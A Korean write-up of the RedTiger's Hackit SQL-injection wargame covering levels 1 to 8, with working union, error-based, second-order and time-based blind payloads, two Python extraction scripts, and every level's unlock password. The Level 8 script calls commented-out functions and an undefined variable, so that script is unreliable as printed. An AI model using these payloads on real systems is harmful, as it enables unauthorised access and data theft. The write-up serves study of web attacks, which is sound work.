RedTigers Hackit Write-Up

RedTigers Hackit Write-Up

in

RedTiger’s Hackit Write Up 입니다.
솔루션을 공개하면 안되긴 하나, 오래된 사이트이기도 하고 이미 다른분들이 올린 Writeup도 많기에 올려봅니다.

Level 1. Simple SQL-Injection

메인화면은 다음과 같습니다.

image index

Analysis

맨 윗부분을 살펴보면 다음과 같은 힌트가 존재합니다.

Target: Get the login for the user Hornoxe
Hint: You really need one? omg -_-
Tablename: level1_users

해당 문제의 목표는 Hornoxe 계정으로 로그인 하는 것입니다.
Hornoxe 계정으로 로그인 하려면 당연히 해당 계정의 패스워드를 알아야 합니다. image index

Username과 Password 폼에 입력값을 넣고 전송을 하면, “Login incorrect!” 메시지가 출력되며 해당 퐁메는 SQL Injection 취약점이 존재하지 않는것으로 확인됩니다. image Login

Category 1 클릭 시, 다음과 같은 메시지가 나옵니다.

This hackit is cool :)
My cats are sweet.
Miau

image Category 1 Click

URL을 보면 cat 파라미터로 1 값을 전송합니다.

http://redtiger.labs.overthewire.org/level1.php?cat=1

해당 파라미터가 취약한지 확인합니다.

참이 되는 값 전송 시 문구가 출력됩니다. image 1 and 1

거짓이 되는 값 전송 시 문구가 출력되지 않습니다. image 1 and 0

cat 파라미터에 취약점이 존재하는것을 확인 했습니다. 해당 파라미터를 통해 인젝션을 시도해보겠습니다.

아래의 쿼리를 통해 해당 패스워드의 길이가 11인 것을 확인했습니다.

1 and ((select length(password) from level1_users) = 11)

이후 substr, substring 등의 함수로 패스워드의 값을 알아내려고 했으나 해당 함수가 필터링 되어 있습니다.

Blind SQL-Injection이 아닌 다른방식으로 접근합니다.

일정 값에 매칭되는 문구를 출력하는 부분이 존재하니, Union SQL Injection을 시도 합니다.

order by ~ 를 통해 컬럼의 갯수를 파악합니다. 컬럼의 갯수가 4개 인것을 확인했습니다.

payload: order by {index}#

image order by ~

union을 통해 주입을 시도합니다. 3번 4번 인덱스에 값을 넣어 출력할 수 있는것을 확인했습니다.

payload: 0 order by 1, 2, 3, 4#

image Union SQL-Injection 1

Solution

3, 4번 인덱스에 username과 password를 넣어 요청하면, Hornoxe 의 패스워드가 출력됩니다. image Union SQL-Injection 2

해당 정보로 로그인 하면 플래그 값을 얻을 수 있습니다. image

Level2의 패스워드는 다음과 같습니다.

passwords_will_change_over_time_let_us_do_a_shitty_rhyme

Level 2. Simple Login-Bypass

메인화면은 다음과 같습니다.

image index

Analysis

맨 윗부분을 살펴보면 다음과 같은 힌트가 존재합니다.

A simple loginbypass

Target: Login
Hint: Condition

해당 문제의 목표는 간단한 로그인 인증 우회로 임의의 계정에 로그인하는 것입니다. image index

Solution

필수값인 Username란에 임의의 값을 넣은 후 Password 입력폼에 ' or '1 문자를 입력하면 클리어 됩니다.

해당 페이로드 요청 시, 서버에서는 아래와 같이 처리됩니다.
select * from users where id = ‘xxx’ and password = ‘' or '1

My-SQL에서 AND연산자는 OR연산자보다 우선순위가 높기 때문에 id, password 값 과는 관계없이 맨 끝의 or 1로 인해 해당 쿼리의 결과는 항상 참이 되어 로그인에 성공하게 됩니다.

image Login Bypass

다음 레벨로 넘어가기 위한 패스워드는 다음과 같습니다.

feed_the_cat_who_eats_your_bread

Level 3. Get an Error

메인화면은 다음과 같습니다.

image index

Analysis

맨 윗부분을 살펴보면 다음과 같은 힌트가 존재합니다.

Welcome to Level 3

Target: Get the password of the user Admin.
Hint: Try to get an error. Tablename: level3_users

해당 문제의 목표는 Admin 계정의 패스워드를 알아내는 것이며 에러를 일으키라고 합니다.
그러나 Username과 Password 폼 에는 어떤 값을 입력하던 “Login incorrect!” 에러만 발생합니다. image

Show userdetails 의 “TheCow” 및 “Admin”을 누르면 해당 계정에 대한 정보가 나옵니다. image show userdetauls

URL을 보면 usr 파라미터로, 암호화된 값을 전송합니다.

http://redtiger.labs.overthewire.org/level3.php?usr=MDYzMjIzMDA2MTU2MTQxMjU0

usr 파라미터의 “MDYzMjIzMDA2MTU2MTQxMjU0” 값은 “TheCow”라는 문자열이 암호화된 것으로 추정되며, 해당 폼에 공격 페이로드를 삽입하기 위해서는 암호화 로직을 알아야 합니다. 힌트에서 말한대로, 에러를 일으켜 정보를 얻어 보겠습니다.

PHP에서는 GET이나 POST 인자에 문자열이 아닌 배열이 들어올 수 있습니다. 매개변수 뒷부분에 []를 붙여주면 해당 파라미터의 인자로 배열을 받게 됩니다. usr 파라미터 뒤에 []를 붙여서 페이지를 요청합니다.

http://redtiger.labs.overthewire.org/level3.php?usr[]=

image error base sql injection

아래와 같이 preg_match 함수에서 에러가 발생하여 “urlcrypt.inc” 경로를 출력합니다.

Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/hackit/urlcrypt.inc on line 26

해당 경로 접근 시 암호화, 복호화 로직을 확인할 수 있습니다.

image get encrypt logic

<?php

// warning! ugly code ahead :)
// requires php5.x, sorry for that

function encrypt($str)
{
    $cryptedstr = "";
    srand(3284724);
    for ($i =0; $i < strlen($str); $i++)
    {
        $temp = ord(substr($str,$i,1)) ^ rand(0, 255);

        while(strlen($temp)<3)
        {
            $temp = "0".$temp;
        }
        $cryptedstr .= $temp. "";
    }
    return base64_encode($cryptedstr);
}

function decrypt ($str)
{
    srand(3284724);
    if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
    {
        $str = base64_decode($str);
        if ($str != "" && $str != null && $str != false)
        {
            $decStr = "";

            for ($i=0; $i < strlen($str); $i+=3)
            {
                $array[$i/3] = substr($str,$i,3);
            }

            foreach($array as $s)
            {
                $a = $s ^ rand(0, 255);
                $decStr .= chr($a);
            }

            return $decStr;
        }
        return false;
    }
    return false;
}
?>

아래 php sandbox 사이트에서 php 코드를 실행할 수 있습니다.
https://onlinephp.io/
주의할 점은, PHP 7.0 이하의 버전으로 설정하여 실행해야 합니다. PHP 7.1 이상 버전 사용 시, srand 값에 따른 rand값이 달라지기 때문에 제대로 암호화, 복호화가 수행되지 않을 수 있습니다.

복호화 로직을 통해 암호화된 문자 삽입 시 정상적으로 복호화되어 “TheCow” 문자열이 나타납니다. image PHP SandBox

이제 암호화 로직을 이용하여 Union SQL Injection 페이로드를 주입해보겠습니다.
그 전에, order by 로 컬럼의 갯수를 파악해줍니다.

image order by encrypt

order by 절 사용 시 개수가 8 이상일 경우 에러가 발생합니다. 컬럼의 갯수가 7개인 것을 확인 했습니다.

// ' order by 1, 2, 3, 4, 5, 6, 7, 8#
MDc2MTUxMDEyMTczMTM0MjM2MTQxMDI0MTkyMTIwMjUzMjA1MDA1MjM5MDc3MDczMjU1MDgyMTc3MDc0MDU3MTk5MjU1MTk0MDcyMjUwMTUyMjA4MTY1MTIzMTUzMjA4MDYwMDU5

image 에러 발생

Union SQL Injection 페이로드를 주입합니다. image PHP Sandbox - 1

// ' union select 1,2,3,4,5,6,7#
MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDgzMTc3MDg5MDMzMjIzMjQzMTk0MDcyMjM2MTMwMjAzMTY2

Username, Firstname이 2, 6번째 인것을 확인했습니다. image Union SQL Injection - 1

Solution

2, 6번째 컬럼을 이용해서 Admin 계정정보(id, pw)가 나오도록 쿼리를 짜서 주입합니다.

image PHP Sandbox - 2

// ' union select 1,username,3,4,5,password,7 from level3_users where username = 'Admin'#
MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDIwMjM4MDE1MTI3MTMzMTkwMTU0MDAxMjQ2MTU3MjA4MTc3MDk2MTI4MjIwMTE2MTIxMTYzMTQ5MjEzMTYwMTA4MDMyMjUyMjAzMDk3MTU2MTkwMTc1MDEzMTM5MDc4MTU1MDk2MDg1MTM0MTk3MTE5MDU5MTYzMTc4MDU2MDM3MDAzMTM2MDQ3MDY2MTA2MTE0MDQ2MjA2MTQ4MDcyMTQxMjE0MDc1MDQ0MjE1MjE0MDYzMDUxMTMzMTAwMTE4MjEyMDYwMTQ2MTM2MDk0

First name 컬럼에 Admin 계정의 패스워드가 출력됩니다. image Union SQL Injection - 2

해당 패스워드로 로그인 하면 플래그를 얻을수 있습니다. image get Flag

다음 레벨로 넘어가는 패스워드는 다음과 같습니다.

put_the_kitten_on_your_head

Level 4. Blind Injection

메인화면은 다음과 같습니다.

image index

Analysis

맨 윗부분을 살펴보면 다음과 같은 힌트가 존재합니다. keyword 컬럼에 존재하는 값을 알아내는 Blind SQL 문제이며, like 구문이 필터링 되어있습니다. (제가 할때는 information_schema도 필터링이 걸려 있었습니다.)

Target: Get the value of the first entry in table level4_secret in column keyword
Disabled: like

“Click Me”를 클릭하면 id 파라미터가 추가되며, 1 값을 넣어서 요청합니다. 그리고 몇개의 로우가 반환되는지 “Query returned 1 rows.” 메시지가 나옵니다.

http://redtiger.labs.overthewire.org/level4.php?id=1

image Click Me

아래의 과정을 통해 id 파라미터가 공격 포인트인것을 확인했습니다.

1 and 1: 쿼리의 결과값이 “참”이 되도록 하면 1개의 로우를 반환합니다. image True Result

1 and 0: 쿼리의 결과값이 “거짓”이 되도록 하면 0개의 로우를 반환합니다. image False Result

1 and sleep(10): sleep를 유발하는 구문을 넣으면 딜레이가 걸립니다.

http://redtiger.labs.overthewire.org/level4.php?id=1%20and%20sleep(10)#

이제, keyword 컬럼에 존재하는 값을 알아내보겠습니다.

아래 쿼리를 주입하여 keyword 컬럼의 첫번째 값의 길이를 알 수 있습니다.

1 and ((select length(keyword) from level4_secret limit 1) > {len})#

아래 쿼리를 주입하여 kyeword 컬럼의 값을 알 수 있습니다. 1 and (select substr(keyword, {index}, 1) from level4_secret) = ‘{char}’#

Solution

해당 문자열의 길이가 21자리여서 하나하나 구하기 보다는 스크립트를 작성하는 것이 빠를 수 있습니다.Python 스크립트를 작성해서 실행해줍니다.

#!/usr/bin/python3
import requests
import string

tc = string.ascii_letters + string.digits + string.punctuation

url = 'http://redtiger.labs.overthewire.org/level4.php' # example URL
params = {
        'id': ''
        }

cookie = {'level4login': 'put_the_kitten_on_your_head'}

def get_length():
    for len in range(1, 50):
        params['id'] = f"1 and (select length(keyword) from level4_secret)={len}#"
        c = requests.get(url=url, params=params, cookies=cookie)
        #print(c.text)
        if "Query returned 1 rows." in c.text:
            return len
            break;


def get_string(sec_len):
    data = ''
    for l in range(1, sec_len+1):
        for char in tc:
            params['id'] = f"1 and (select substr(keyword, {l}, 1) from level4_secret) = '{char}'#"
            c = requests.get(url=url, params=params, cookies=cookie)
            #print(c.text)
            if "Query returned 1 rows." in c.text:
                data += char
                print(data)
                break;

    return data

sec_len = get_length()  # 21
print (f"[+] keyword value length is {sec_len}")
sec_string = get_string(sec_len)
print (f"[+] keyword value string is {sec_string}")

keyword 컬럼의 첫번째 값을 구했습니다.

killstickswithbr1cks!

image Get Value

해당 값을 word 폼에 입력 후 요청하면 플래그 값이 나옵니다. image Get Flag

다음 레벨로 접근하기 위한 패스워드는 다음과 같습니다.

this_hack_it's_old

Level 5. Advanced Login-Bypass

메인화면은 다음과 같습니다.

image index

Analysis

다음과 같은 힌트가 존재합니다.

Target: Bypass the login
Disabled: substring , substr, ( , ), mid
Hints: its not a blind, the password is md5-crypted, watch the login errors

Blind SQL-Injection이 아니며, 패스워드는 md5 해시처리 됩니다.

Username 입력란에 “'“를 넣고 요청 시, 아래와 같은 에러가 발생합니다. image error info

참이 되는 값을 넣으면 “Login failed!” 에러가 발생합니다. image true

거짓이 되는 값을 넣으면 “User not found!” 에러가 발생합니다. image false

위와 같은 테스트로 공격 포인트는 Username이란 것을 알 수 있습니다. 또한 다음과 같은 로직으로 구성되어 있는 것으로 추정됩니다.

1. 사용자가 입력한 Username이 존재하는지 확인
 - 유저 미존재  "User not found!" 에러 출력
 - 유저 존재  2번으로 이동
2. 해당 Username에 대한 데이터 존재  Password 일치여부 확인
 - 패스워드 미일치  "Login failed!" 에러 출력
 - 패스워드 일치  로그인 수행

참고로, Blind SQL-Injection 공격을 수행하기 위한 information_schema 등의 문자열은 필터링 처리되고 있습니다. image not blind sql injection

1번의 Username 검증 로직은 우회할수 있는 것을 확인했습니다. 그러나 문제가 되는 부분은 Password인데, Password 파라미터는 md5로 해싱되어 인젝션을 일으키기 어렵습니다.

패스워드가 MD5 해싱처리되어 넘어가는 것을 이용하여 MD5 RAW Hash로 접근해보았으나, 쉽게 되지 않았습니다.

특정 계정으로 로그인 하기 위해서는 해당 계정의 아이디와 패스워드를 알고 있어야 합니다. 그러나 현재 계정 아이디에 대한 정보도 없으므로 임의의 계정에 대한 패스워드를 알아내어 로그인 하는것은 불가능에 가깝습니다.

하지만 해당 아이디와 패스워드에 대한 정보를 만들 수 있다면 문제가 될것이 없습니다.

order by 명령어로 컬럼의 갯수를 파악합니다. image order by

union 명령이 동작하는지 파악하기 위해서 해당 컬럼의 갯수에 맞춰 로우를 생성합니다. “User not found” 에러가 발생하지 않는것을 보니 UNION 명령을 이용해 계정 데이터를 만들어 검증 로직을 우회하는 것이 가능한것을 확인했습니다. image union sql injection

만약 php 코드가 아래와 같이 구성되어 있다면, UNION 명령어로 원하는 패스워드를 MD5 해싱하여 집어 넣고, 해당 패스워드를 입력해서 로그인이 가능할 것입니다.

$sql = "select * from table where username = ".$_POST["username"];
$result = mysqli_query($con, $sql);
$row_num = mysql_num_rows($result);

if ($row_num > 0) {
    $row = mysql_fetch_assoc($result);
    if($row["password"] == md5($_POST["password"])) {
        //login success
        ...
    }
    else {
        echo "Login failed!";
    }
}
else {
    echo "User not found!";
}

Solution

로그인 입력폼에 아래의 데이터를 넣어서 요청합니다. 첫번째 인덱스에는 임의의 Username을 집어넣고, 두번째 값에는 로그인 할 패스워드를 MD5 해싱합니다.

username: ' union select 1, md5('test')#
password: test

image exploit

두번째 인덱스가 패스워드이며 정상적으로 로그인이 수행되고, 플래그 값을 얻게됩니다. image login success

다음 레벨로 넘어가기 위한 패스워드는 다음과 같습니다.

the_stone_is_cold

Level 6. SQL-Injection

메인화면은 다음과 같습니다.

image index

Analysis

별도의 힌트는 존재하지 않으며, level6_users 테이블의 status 가 1인 첫번째 유저로 로그인 하는것이 목표입니다.

Target: Get the first user in table level6_users with status 1

Username, Password 폼은 SQL Injection 취약점이 존재하지 않는 것으로 확인됩니다. 구문을 주입해도 “Login failed!” 메시지만 출력됩니다. image login failed!

Click Me 버튼을 누를 시, user 파라미터로 1값을 보내며, 해당 값에 매칭되는 유저의 정보를 출력해줍니다.

http://redtiger.labs.overthewire.org/level6.php?user=1

image Click Me

아래 과정을 통해 user 파라미터가 취약한지 확인 합니다.

1 and 1: 참이 되는 값 주입 시 정상적으로 유저 정보를 출력합니다. image

1 and 0: 거짓이 되는 값 주입 시 에러발생 및 “User not found” 문구를 출력합니다. image

sleep, information_schemam, (), ...: blind sql에 사용되는 명령어는 필터링 처리 되어있습니다. image sleep image information_schema

해당 문제 또한 Blind SQL 방식이 아닌 다른 방식으로 접근 하는것으로 보입니다.
넘기는 파라미터 값에 따른 유저데이터를 출력 해주므로 UNION SQL Injection을 시도해보겠습니다.

order by 로 컬럼의 갯수를 파악합니다.

# 1 order by 5
https://redtiger.labs.overthewire.org/level6.php?user=1%20order%20by%205#

컬럼의 갯수가 5개인 것을 확인했습니다. image order by

user 파라미터에 아래의 값을 넣은 후 요청합니다. user: 0 union select 1, 2, 3, 4, 5#

“User not found” 메시지가 출력되며 UNION으로 추가한 로우 데이터가 출력되지 않습니다.
해당 UserName이 실제로 존재하는지 검증하는 로직이 있는것 같습니다. image Union SQL-Injection - 1

총 5개의 인덱스 중 Username 컬럼의 위치를 파악합니다.

user: 0 union select "deddlef", 2, 3, 4, 5#
user: 0 union select 1, "deddlef", 3, 4, 5#
...

그러나 문자열 주입 시 아래와 같은 경고를 출력하며, User not found 메시지가 나옵니다. image Union SQL-Injection - 2

Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/html/hackit/level6.php on line 26
Notice: Trying to get property of non-object in /var/www/html/hackit/level6.php on line 28

입력한 String 인수를 허용하지 않는 것으로 보이며, 문자열이 아닌 HEX 값으로 문자열을 전달합니다.

+----------------+
| hex("deddlef") |
+----------------+
| 646564646C6566 |
+----------------+

user 파라미터에 아래 데이터 삽입 시 정상적으로 유저 정보가 출력되되며 두번째 인덱스가 Username 인것을 확인 했습니다.

user: 0 union select 1, 0x646564646C6566, 3, 4, 5#

image Union SQL-Injection - 3

Union으로 삽입한 숫자데이터가 출력되지 않는것으로 보아 두번째 인덱스의 Username을 이용해서 2차적으로 쿼리를 조회하는 것으로 추정됩니다.

이번에는 HEX 데이터에 유저이름 대신 참이되는 값과 거짓이 되는 값을 주입합니다.

## 참이 되는 값
HEX Value:
+----------------+
| hex("' or 1#") |
+----------------+
| 27206F72203123 |
+----------------+

## 거짓이 되는 값
HEX Value:
+----------------+
| hex("' or 0#") |
+----------------+
| 27206F72203023 |
+----------------+

참이 되는 값 주입 시 정상적으로 유저 데이터를 출력합니다.

URL: https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,%200x27206F72203123,%203,%204,%205#

image True Data

거짓이 되는 값 주입 시 “User not found” 에러를 출력합니다.

URL: https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,%200x27206F72203023,%203,%204,%205#

image False Data

두번째 인덱스값에 SQL Injection 취약점이 존재함을 확인했습니다.

즉, 1차적으로 두번째 인덱스의 Username이 유효한지 검증한 후, 2차적으로 해당 Username 데이터를 이용하여 Email 등의 값을 가져오는 것으로 확인됩니다. 하지만 두번째 인덱스도 마찬가지로, HEX 데이터를 넘긴다 하더라도 Sleep, information_schema 등의 문자에 필터링이 걸려 있습니다.

마찬가지로 Union SQL-Injection 으로 접근해보겠습니다.

order by 구문으로 컬럼의 갯수를 파악하였으며, 컬럼의 갯수가 5개 인것을 확인했습니다.

HEX Value:
+----------------------------+
| hex("' order by 5#")       |
+----------------------------+
| 27206F72646572206279203523 |
+----------------------------+
Payload: 0 union select 1, 0x27206F72646572206279203523, 3, 4, 5#
URL: https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,%200x27206F72646572206279203523,%203,%204,%205#

union select 페이로드를 2번째 인덱스에 넣은 후 요청합니다.

HEX Value:
+------------------------------------------------------------+
| hex("' union select 1, 2, 3, 4, 5#")                       |
+------------------------------------------------------------+
| 2720756E696F6E2073656C65637420312C20322C20332C20342C203523 |
+------------------------------------------------------------+
Payload: 0 union select 1, 0x2720756E696F6E2073656C65637420312C20322C20332C20342C203523, 3, 4, 5#
URL: https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,%200x2720756E696F6E2073656C65637420312C20322C20332C20342C203523,%203,%204,%205#

Username 란에서 수행한 2, 4번째 인덱스가 각각 Username, Email 인 것을 확인했습니다. image Union SQL-Injection - 3

Solution

2, 4번째 인덱스에 username, password를 출력하도록 합니다.

HEX Value:
+----------------------------------------------------------------------------------------------------------------------------+
| hex("' union select 1, username, 3, password, 5 from level6_users#")                                                       |
+----------------------------------------------------------------------------------------------------------------------------+
| 2720756E696F6E2073656C65637420312C20757365726E616D652C20332C2070617373776F72642C20352066726F6D206C6576656C365F757365727323 |
+----------------------------------------------------------------------------------------------------------------------------+
Payload: 0 union select 1, 0x2720756E696F6E2073656C65637420312C20757365726E616D652C20332C2070617373776F72642C20352066726F6D206C6576656C365F757365727323, 3, 4, 5#
URL: https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,%200x2720756E696F6E2073656C65637420312C20757365726E616D652C20332C2070617373776F72642C20352066726F6D206C6576656C365F757365727323,%203,%204,%205#

Email의 값으로 deddlef 계정의 패스워드가 출력 되었습니다.

image Union SQL-Injection - 4

해당 정보로 로그인을 하였으나 Status 가 1이 아니므로 플래그 값이 나오지 않습니다. image Login - 1

페이로드를 수정해줍니다.

HEX Value:
+--------------------------------------------------------------------------------------------------------------------------------------------------------------+
| hex("' union select 1, username, 3, password, 5 from level6_users where status = 1#")                                                                        |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 2720756E696F6E2073656C65637420312C20757365726E616D652C20332C2070617373776F72642C20352066726F6D206C6576656C365F757365727320776865726520737461747573203D203123 |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------+
Payload: 0 union select 1, 0x2720756E696F6E2073656C65637420312C20757365726E616D652C20332C2070617373776F72642C20352066726F6D206C6576656C365F757365727320776865726520737461747573203D203123, 3, 4, 5#
URL: https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,%200x2720756E696F6E2073656C65637420312C20757365726E616D652C20332C2070617373776F72642C20352066726F6D206C6576656C365F757365727320776865726520737461747573203D203123,%203,%204,%205#

요청 시 status 값이 1인 계정 “admin”의 아이디와 패스워드 값이 출력되며, 해당 계정 정보로 로그인 시 플래그 값이 나옵니다. image Exploit

다음 레벨로 가는 패스워드는 다음과 같습니다.

shitcoins_are_hold

Level 7. SQL-Injection

메인화면은 다음과 같습니다.

image index

Analysis

아래와 같은 힌트를 제공하며, Google 관련된 뉴스를 작성한 작성자의 이름을 알아내는 것이 목표입니다.

Target: Get the name of the user who posted the news about google. Table: level7_news column: autor
Restrictions: no comments, no substr, no substring, no ascii, no mid, no like

입력란에 아무것도 입력하지 않고 search를 하면 아래와 같이 특정 기사의 타이틀과 본문이 출력됩니다.

image Search

Lorem Ipsum
Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

Google: The browser is the computer
SAN FRANCISCO--Google spent Wednesday morning trying to get developers excited about the next generation of Web technologies by showing off how future Web applications will mimic desktop apps. "It's time for us to take advantage of the amazing opportunity that is before us," said Google CEO Eric Schmidt, kicking off Google I/O 2009 in San Francisco.
...

입력란에 “'” 문자를 입력하면 아래와 같은 에러가 발생합니다. 노출된 에러정보를 통해 쿼리가 어떤식으로 구성되어 있는지 알 수 있습니다.

image SQL Error Message

An error occured!:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' OR text.title LIKE '%'%')' at line 1

SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'%' OR text.title LIKE '%'%')

해당 쿼리를 살펴보면 다음과 같습니다.

  • level7_news, level7_texts 테이블을 참조한다.
  • 사용자의 입력값으로 level7_texts에 존재하는 기사를 LIKE 문으로 조회한다.
  • 조회 시 level7_texts 의 id와 level7_news의 id가 일치해야 한다.

SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE ‘%%' OR text.title LIKE '%%')

Solution

UNION SQL Injection을 이용해서 공격 시도를 해보겠습니다.

사용자의 입력값이 쓰이는 부분이 두군데 이기 때문에 쿼리가 정상작동 하도록 짜줍니다.

첫번째 페이로드는 다음과 같습니다.

xxx%') union select 1, 2, 3, 4 from level7_news news, level7_texts text where 1 or (text.title = 'xxx

해당 페이로드는 다음과 같은 동작을 유도하기위해 구성되었습니다.

  • text.text LIKE 에 아무것도 매칭되지 않도록 xxx 등의 임의 문자를 삽입한다.
  • union select 로 출력 컬럼을 맞춰서 원하는 데이터를 결합한다.
  • #, –%20 등의 주석처리가 필터링 되어있기 때문에, 나머지 뒤 쿼리는 where 절로 참이되는 값의 or 조건 뒤로 보내어 동작하지 않도록 한다.
  • 나머지 입력부분 역시 union 이후 union을 추가적으로 사용할 수 있기 때문에 동일한 로직을 갖는다.

만약 위 페이로드가 란에 삽입 될 시 아래와 같은 쿼리가 됩니다.

SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%xxx%') union select 1, 2, 3, 4 from level7_news news, level7_texts text where 1 or (text.title = 'xxx%' OR text.title LIKE '%xxx%') union select 1, 2, 3, 4 from level7_news news, level7_texts text where 1 or (text.title = 'xxx%')

주입의 결과로 3, 4가 출력되었으며 3, 4 번째 컬럼에 원하는 값을 넣어 출력을 확인할 수 있습니다. image Union SQL Injeciton

3, 4번째 컬럼에 각각 text.title, news.autor 이 출력되도록 페이로드를 수정후 입력란에 입력해줍니다.

xxx') union select 1, 2, text.title, news.autor from level7_news news, level7_texts text where news.id = text.id and 1 or (text.title = 'xxx

성공적으로 각 뉴스의 타이틀과 작성자가 출력됩니다. image Exploit

Google 관련 뉴스 작성자의 이름을 입력해주면 플래그 값을 얻을 수 있습니다. image Get Flag

다음 레벨로 넘어가기 위한 패스워드는 다음과 같습니다.

or_so_i'm_told

Level8. SQL-Injection

메인화면음 다음과 같습니다. image index

Analysis

타겟은 다음과 같습니다. admin 계정의 패스워드를 알아 낸 후 로그인 해야 합니다.

Target: Get the password of the admin.

Edit 버튼을 누르면 아무 반응이 없습니다. 아마도 해당 계정의 데이터를 변경하는 것으로 보입니다. image Click Edit Button

Email 란에 “'” 문자를 삽입 후 요청하면 에러가 발생합니다. 다른 부분에서는 에러가 발생하지 않으며 Email이 공격 포인트인 것 같습니다. image Error Input

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '12345', age = '25' WHERE id = 1' at line 3 Username: Admin

에러의 형태로 보아 UPDATE문 쿼리인것으로 보이며, 아래의 쿼리형태로 구성된 것으로 예측됩니다.

UPDATE level8 SET email = '<USER_INPUT>', icq = '12345', age = '25' WHERE id = 1

테스트를 통해 알아낸 필터링된 함수 목록은 아래와 같습니다.

사용불가(필터링) 문구

benchmark, if, information_schema, substr, mid, right, left, lpad, like, <> 

또한 사용가능한 함수 목록은 아래와 같습니다.

사용가능 문구

select, where, sleep, case when then else, (), rpad

간단하게 아래 페이로드로 Admin 계정의 패스워드를 “1234”로 초기화하여 로그인을 시도하였으나 업데이트가 반영되지 않는걸로 확인됩니다.

hans@localhost', password = '1234', icq = '

Solution

해당 레벨의 클리어는 Update 문의 특성을 이용한 방법, Time Based Blind SQL-Injection 으로 푸는 방법 두가지가 존재합니다.

Intended Solution - Update 문의 특성을 이용한 방법

우선, Email 입력란에 “'” 를 삽입하여 알아낸 결과를 분석해보면, icq(“12345”)와 Age(“25”)에 대한 값은 쿼리에 존재하지만 Name에 대한 값은 보이지 않습니다. image Error Message

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '12345', age = '25' WHERE id = 1' at line 3 Username: Admin

name을 test로 변경하는 아래의 페이로드를 삽입하여 요청해줍니다.

hans@localhost', name = 'test', icq = '

Name란이 페이로드에 삽입한 Name명으로 바뀝니다. image

이러한 원리로 Name란에 대입되는 값을 Password로 바꾸어 아래 페이로드를 요청합니다.

hans@localhost', name = Password, icq = '

Name란에 계정의 패스워드 정보가 출력됩니다. image Get Password

UnIntended Solution - Time Based Blind SQL-Injection

if 문이 사용불가하기에 case 문으로 우회하였으며, substr, lpad 가 필터링 되어 rpad 함수로 우회가 가능합니다. 위 사용가능한 함수와 sleep을 이용하여 Time Based Blind SQL Injection을 시도했습니다.

아래 쿼리로 username의 길이를 알아낼 수 있습니다. 현재 username이 “Admin”이므로 만약 5가 아닌 다른 숫자를 넣는다면 sleep 함수가 동작합니다.

', username = (case when (select length(Username) = 5) then 1 else sleep(5) end), username = '

위와 같은 원리로 스크립트를 작성하여 Password를 알아내줍니다.

import requests

# ', username = (case when (select length(Password) = 5) then 1 else sleep(5) end), username = '

url = "http://redtiger.labs.overthewire.org/level8.php"

data = {
        'email': '',
        'name': 'x',
        'icq': 'x',
        'age': 'x',
        'edit': 'Edit'
        }

cookies = {
        'level8login': 'or_so_i%27m_told'
        }

def do_request(payload):
    data['email'] = payload
    print(f"[+] payload is {data}")
    c = requests.post(url, data = data, cookies = cookies)
    #print(c.text)
    if (c.elapsed.total_seconds() > 1.0):
        return True
    else:
        return False

#def get_username_length():
#    for i in range(1, 100):
#        if (do_request(f"', username = (case when (select length(username) = {i}) then sleep(5) else 1 end), username = '")):
#            print(f"[+] username length is {i}")
#            return i
#

#def get_username_string(u_len):
#    string = ''
#    for idx in range(1, u_len + 1):
#        for c in tc:
#            if (do_request(f"', username = (case when (select rpad(username, {idx}, 1) = binary('{string + c}')) then sleep(5) else 1 end), username = '")):
#                string += c
#                print(f"[+] username is {string}")
#                break
#                return i


def get_password_length(): # 13
    for i in range(1, 100):
        if (do_request(f"', username = (case when (select length(password) = {i}) then sleep(5) else 1 end), username = '")):
            print(f"[+] password length is {i}")
            return i

def get_password_string(p_len):
    string = ''
    for idx in range(1, p_len + 1):
        for c in range(32, 129):
            if (do_request(f"', username = (case when (select rpad(password, {idx}, 1) = binary('{string + chr(c)}')) then sleep(5) else 1 end), username = '")):
                string += chr(c)
                print(f"[+] password is {string}")
                break

def get_password_string2(p_len):
    string = '19JPYS1jdgvk'
    for idx in range(13, p_len + 1):
        for c in range(32, 129):
            if (do_request(f"', username = (case when (select rpad(password, {idx}, 1) = binary('{string + chr(c)}')) then sleep(5) else 1 end), username = '")):
                string += chr(c)
                print(f"[+] password is {string}")
                break

if __name__ == "__main__":
    u_length = get_username_length()
    get_username_string(u_length)

    p_len = get_password_length() 
    get_password_string(p_len)
    #get_password_string2(13)


# password is 19JPYS1jdgvkj
# check paylaod
# ', username = (case when (password = '19JPYS1jdgvkj') then sleep(10) else 1 end), username = '

작성해준 스크립트를 돌리면 아래 그림과 같이 패스워드의 길이와 스트링을 구합니다. image Run Tool

Clear

알아낸 비밀번호 값으로 Admin 계정으로 로그인을 시도하면, 플래그가 나옵니다. image

다음 레벨의 비밀번호는 아래와 같습니다.

network_pancakes_milk_and_wine

Level 9. SQL-Injection

메인화면은 다음과 같습니다.

image index

Analysis

